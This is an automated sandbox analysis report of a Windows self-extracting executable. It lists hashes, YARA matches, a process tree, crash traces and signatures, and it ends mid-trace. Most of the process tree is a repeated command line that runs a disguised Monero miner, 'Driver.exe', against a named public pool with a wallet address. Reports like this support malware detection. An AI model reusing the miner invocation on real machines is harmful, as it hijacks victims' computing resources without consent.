Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 23, 2023, 5:13 p.m.	May 23, 2023, 5:32 p.m.

Size	2.1MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`79931719ae9c21e1d8c5f1a419e85f71`
SHA256	`f1e4bb232f6e5e0bcfb68627aea7b09b114e8f6d15a57a6e2e938db455d768bb`
CRC32	`B19E62F9`
ssdeep	`49152:ABRj0wlUtbZqxNwv6MitufUjzmTL7oG34n0FBhlT:at0wlUxgGqzULEGgi`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb
Yara	UPX_Zero - UPX packed file OS_Processor_Check_Zero - OS Processor Check Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description)

wdagad.exe "C:\Users\test22\AppData\Local\Temp\wdagad.exe"
2536
- cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\RarSFX0\1.bat" "
  2624
  - work.exe work.exe -priverdD
    2692
explorer.exe C:\Windows\Explorer.EXE
1452
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1400
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2516
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3028
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2584
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2548
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
828
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
176
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2476
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2792
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1272
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1364
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1812
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3008
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1892
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2996
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
940
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2148
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2908
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2940
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2212
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2424
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2928
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1308
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2500
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1644
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2724
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2448
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2344
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2608
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
344
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2984
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1780
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1320
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2204
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2732
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1788
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1996
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1316
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2664
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2932
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2556
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
300
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
1852
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2840
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
588
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2472
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
252
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2368
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
2964
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
948
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3520
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3092
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3524
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3276
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3920
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3552
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3184
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3860
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3460
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3104
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3868
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3592
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3260
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3856
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3768
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3320
Driver.exe "C:\Users\test22\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 427X8guX5JRRGk4v7gRcwK85MwpjCAN7djGqBAbCETdqc5biVY27pePT3Ctx43QMLAdKAaRDF4KW4HiozmdQ7EHrNczdnfM -p x -k -v=0 --donate-level=1 -t 1
3172

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.didat

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

One or more processes crashed (50 out of 67 events)

Time & API	Arguments	Status
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 